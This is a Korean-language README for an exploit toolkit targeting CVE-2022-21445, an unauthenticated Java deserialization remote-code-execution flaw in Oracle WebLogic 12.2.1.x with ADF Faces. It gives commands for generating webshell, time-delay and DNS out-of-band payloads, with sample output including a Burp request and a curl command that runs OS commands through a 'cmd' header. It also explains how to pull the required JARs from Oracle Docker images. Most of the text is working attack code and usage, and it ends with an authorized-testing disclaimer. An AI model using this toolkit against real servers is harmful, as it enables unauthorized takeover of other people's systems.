
Oracle Weblogic 12.2.1.X의 CVE-2022-21445 익스플로잇
이 툴킷은 Oracle ADF Faces와 함께 실행되는 Oracle WebLogic Server 12.2.1.x에 영향을 주는 심각한 Java 역직렬화 취약점인 CVE-2022-21445용 익스플로잇 페이로드를 생성합니다.
이 결함은 RemoteApplicationResourceLoader 구성 요소에 존재하며, 공격자가 안전하지 않은 역직렬화를 트리거하는 특수하게 조작된 HTTP GET 요청을 보낼 수 있게 합니다. 성공적으로 악용하면 대상 서버에서 인증 없는 원격 코드 실행(RCE)이 발생할 수 있습니다.
| 요구 사항 | 버전 | 용도 |
|---|---|---|
| Python | 3.6+ | 익스플로잇 스크립트 실행 |
| JDK | 1.8 (8u202 권장) | Java 페이로드 생성기 컴파일 및 실행 |
| Weblogic | 12.2.1.X | 취약한 버전 |
페이로드는 대상의 Java 런타임과 일치하도록 반드시 JDK 1.8로 컴파일되어야 합니다.
# Use SDKMAN:
sdk install java 8.0.402-tem
# Select the java 8
sudo update-alternatives --config java
java -version # Should show 1.8.x
javac -version # Should show 1.8.x
cmd HTTP 헤더에서 명령을 읽고 응답 본문에 출력을 반환하는 페이로드를 생성합니다.
python3 exploit.py --version 12.2.1.4 --type webshell
출력:
[*] Target WebLogic version: 12.2.1.4
[*] Payload type: webshell
[*] Using JARs from: libs/12.2.1.4
[+] Step 1/4: Detecting ClassIdentity hash for 12.2.1.4...
[*] Detected ClassIdentity hash: 423B02C050017B24DB10DFF759AA56BF
[+] Step 2/4: Generating webshell payload class...
[+] Step 3/4: Compiling payload classes...
[+] Step 4/4: Generating serialized payload...
======================================================================
PAYLOAD GENERATED SUCCESSFULLY
======================================================================
[*] Payload type: webshell
[*] Payload length: 2156 characters
──────────────────────────────────────────────────────────────────────
RAW PAYLOAD:
──────────────────────────────────────────────────────────────────────
H4sIAAAAAAAAAA%3D%3DlVZb...
──────────────────────────────────────────────────────────────────────
BURP REPEATER REQUEST:
──────────────────────────────────────────────────────────────────────
GET /app/afr/foo/remote/H4sIAAAAAAAAAA%3D%3DlVZb.../ HTTP/1.1
Host: target:port
cmd: whoami
Connection: close
──────────────────────────────────────────────────────────────────────
CURL COMMAND:
──────────────────────────────────────────────────────────────────────
curl -k -H "cmd: id" "https://target:port/app/afr/foo/remote/H4sI.../"
블라인드 테스트용 — 응답이 지연되면 코드 실행을 확인할 수 있습니다.
python3 exploit.py --version 12.2.1.4 --type sleep --sleep-time 10
페이로드를 전송하고 응답 시간을 측정합니다:
Burp Collaborator 또는 유사한 도구를 사용한 대역외(out-of-band) 확인용입니다.
python3 exploit.py --version 12.2.1.4 --type dns \
--dns-host cve-21445.abc123.oastify.com
--target을 사용하여 올바른 호스트와 컨텍스트 경로가 포함된 형식화된 출력을 얻습니다:
python3 exploit.py --version 12.2.1.4 --type webshell \
--target http://10.0.0.50:8002/test
이렇게 하면 올바른 호스트와 경로로 Burp 요청 및 curl 명령이 형식화됩니다:
GET /test/afr/foo/remote/PAYLOAD/ HTTP/1.1
Host: 10.0.0.50:8002
cmd: whoami
python3 exploit.py --version 12.2.1.4 --type webshell \
--output payload.txt
cmd 헤더 값을 변경하여 다른 명령을 실행합니다
Jar 파일이 손상된 경우, 아래 지침에 따라 원하는 Weblogic 버전을 설치하고 관련 Jars를 추출하십시오.
공식 FMW Infrastructure Docker 이미지에서 필요한 Oracle JAR를 추출합니다.
# Create the libs directory
mkdir -p libs/12.2.1.3
#or
mkdir -p libs/12.2.1.3
# Pull the Oracle FMW Infrastructure 12.2.1.3 or 12.2.1.4 image
# Note: You may need to accept the license at container-registry.oracle.com
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.3.0
#OR
docker pull container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0
#Let's say we need the JARs of 12.2.1.4 version (in case of 12.2.1.3 just replace .4 with .3 in the commands)
# Create a temporary container (don't need to start it)
docker create --name fmw1214_temp container-registry.oracle.com/middleware/fmw-infrastructure:12.2.1.4.0
# Extract the required JARs
docker cp fmw1214_temp:/u01/oracle/coherence/lib/coherence.jar ./libs/12.2.1.4/coherence.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-api-11.jar ./libs/12.2.1.4/adf-richclient-api-11.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/adf-richclient-impl-11.jar ./libs/12.2.1.4/adf-richclient-impl-11.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-api.jar ./libs/12.2.1.4/trinidad-api.jar
docker cp fmw1214_temp:/u01/oracle/oracle_common/modules/oracle.adf.view/trinidad-impl.jar ./libs/12.2.1.4/trinidad-impl.jar
참고:
javax.mailJAR(MIME base64 인코딩에 필요)은 첫 실행 시 Maven Central에서 자동으로 다운로드됩니다. 수동 설정이 필요 없습니다. 웹셸 페이로드는 순수 리플렉션을 사용하며 컴파일 시점에weblogic.jar가 필요하지 않습니다.
이 도구는 승인된 보안 테스트 전용입니다. 소유하지 않은 시스템을 테스트하기 전에 항상 서면 허가를 받으십시오. 저자는 오용에 대해 책임을 지지 않습니다. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.